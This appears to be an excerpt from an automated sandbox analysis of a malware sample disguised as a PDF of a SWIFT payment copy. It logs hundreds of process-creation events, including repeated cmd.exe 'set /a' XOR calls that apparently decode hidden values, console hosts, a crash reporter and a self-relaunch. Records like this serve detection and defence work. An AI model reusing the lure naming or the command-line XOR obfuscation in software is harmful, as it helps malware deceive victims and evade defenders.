Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1268 -s 1092	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
